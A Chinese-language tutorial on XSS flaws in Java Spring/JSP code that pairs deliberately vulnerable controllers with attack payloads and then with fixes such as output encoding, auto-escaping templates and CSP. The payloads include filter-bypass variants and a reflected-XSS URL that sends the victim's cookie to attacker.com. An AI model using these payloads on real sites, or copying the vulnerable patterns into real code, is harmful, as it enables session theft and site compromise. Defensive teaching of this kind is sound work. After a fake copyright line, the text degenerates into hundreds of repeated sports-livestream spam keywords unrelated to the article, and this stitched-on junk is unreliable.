Java XSS 漏洞案例分析
直接输出用户输入(最常见)
// 不安全的代码
@Controller
public class UserController {
@GetMapping("/profile")
@ResponseBody
public String getUserProfile(@RequestParam String username) {
return "<h1>User Profile: " + username + "</h1>";
}
}
// 攻击示例
// 请求: /profile?username=<script>alert('XSS')</script>
// 响应: <h1>User Profile: <script>alert('XSS')</script></h1>
JSP页面中的XSS
<!-- 不安全的JSP -->
<%@ page import="java.net.URLDecoder" %>
<%
String name = request.getParameter("name");
%>
<html>
<body>
<h1>Welcome, <%= name %>!</h1> <!-- XSS漏洞 -->
<!-- 更隐蔽的XSS -->
<div onclick="showUser('<%= name %>')">Click me</div>
<!--
攻击: name=');alert('XSS');//
结果: <div onclick="showUser('');alert('XSS');//')">Click me</div>
-->
</body>
</html>
JSON数据中的XSS
// 不安全的API
@RestController
public class ApiController {
@GetMapping("/api/user")
public String getUser(@RequestParam String name) {
// 将用户输入直接放入JSON
String json = "{\"name\":\"" + name + "\",\"role\":\"user\"}";
return json;
}
}
// 攻击示例
// 请求: /api/user?name=John</script><script>alert('XSS')</script>
// 返回字符串中包含了恶意脚本
文件上传中的XSS
// 不安全的文件处理
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
String fileName = file.getOriginalFilename();
// 直接将文件名显示在页面上
return "File: <div>" + fileName + "</div>";
// 攻击: 上传文件名为: <img src=x onerror=alert('XSS')>.txt
}
反射型XSS案例
@Controller
public class SearchController {
@RequestMapping("/search")
public String search(@RequestParam String keyword, Model model) {
List<String> results = searchService.search(keyword);
// 不安全的做法:直接将关键字显示在页面
StringBuilder html = new StringBuilder();
html.append("<h2>Search results for: ");
html.append(keyword); // XSS漏洞
html.append("</h2>");
model.addAttribute("searchResult", html.toString());
return "search";
}
// 攻击URL: /search?keyword=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
}
存储型XSS案例
@Entity
public class Comment {
private String content; // 用户输入的评论内容
}
@Controller
public class CommentController {
@PostMapping("/comment")
public String addComment(@RequestParam String content) {
Comment comment = new Comment();
comment.setContent(content); // 直接存储恶意内容
commentRepository.save(comment);
return "redirect:/comments";
}
@GetMapping("/comments")
public String showComments(Model model) {
List<Comment> comments = commentRepository.findAll();
model.addAttribute("comments", comments);
return "comments";
}
}
<!-- comments.jsp - 不安全的展示 -->
<c:forEach items="${comments}" var="comment">
<div class="comment">
${comment.content} <!-- XSS漏洞: 直接输出用户输入 -->
</div>
</c:forEach>
DOM型XSS案例
// JavaScript中的XSS
@Controller
public class DomXSSController {
@GetMapping("/dom-xss")
public String domXSS(@RequestParam String username, Model model) {
model.addAttribute("username", username);
return "dom-xss";
}
}
<!-- dom-xss.jsp -->
<script>
// 不安全的DOM操作
var username = "${username}"; // 从服务器获取
document.getElementById("welcome").innerHTML = "Welcome, " + username;
// 或者使用eval
var userInput = "${userInput}";
eval(userInput); // 极度危险!
</script>
绕过简单过滤的XSS
@Controller
public class BypassXSSController {
@GetMapping("/comment")
public String comment(@RequestParam String content) {
// 简单过滤(可能被绕过)
String filtered = content
.replace("<script>", "")
.replace("</script>", "");
// 仍然存在风险:
// 1. 大小写绕过: <ScRiPt>alert('XSS')</SCRIPT>
// 2. 双写绕过: <scr<script>ipt>alert('XSS')</script>
// 3. 其他标签: <img src=x onerror=alert('XSS')>
// 4. 事件处理: <body onload=alert('XSS')>
// 5. SVG: <svg onload=alert('XSS')>
return "<div>" + filtered + "</div>";
}
}
安全修复方案
// 方案1: HTML编码
import org.apache.commons.text.StringEscapeUtils;
@GetMapping("/safe-profile")
@ResponseBody
public String safeProfile(@RequestParam String username) {
// 对输出进行HTML编码
String safeUsername = StringEscapeUtils.escapeHtml4(username);
return "<h1>User Profile: " + safeUsername + "</h1>";
}
// 方案2: 使用模板引擎(Thymeleaf自动转义)
@Controller
public class SafeController {
@GetMapping("/safe")
public String safe(@RequestParam String username, Model model) {
model.addAttribute("username", username);
return "safe-template";
}
}
<!-- safe-template.html - Thymeleaf自动转义 -->
<h1 th:text="${username}">Default Name</h1>
// 方案3: 使用Content Security Policy
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'");
}
}
// 方案4: 输入验证和白名单
public class InputValidator {
public static String sanitize(String input) {
// 允许安全的HTML标签
return Jsoup.clean(input,
Whitelist.basic()
.addTags("b", "i", "u", "p", "br")
);
}
}
// 综合防护方案
@ControllerAdvice
public class XSSProtectionAdvice {
// 全局输出编码
@ModelAttribute
public void addAttributes(Model model) {
model.addAttribute("xssEncoder", new XSSEncoder());
}
// 输入验证
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.registerCustomEditor(String.class, new StringTrimmerEditor(true));
}
}
// 自定义编码器
public class XSSEncoder {
public String encode(String value) {
if (value == null) return null;
return StringEscapeUtils.escapeHtml4(value);
}
public String encodeJavaScript(String value) {
if (value == null) return null;
return StringEscapeUtils.escapeEcmaScript(value);
}
public String encodeURL(String value) {
if (value == null) return null;
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
最佳实践:

- 始终对输出进行编码
- 使用模板引擎的自动转义功能
- 实施输入验证和白名单
- 配置Content Security Policy
- 定期进行安全审计和渗透测试
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播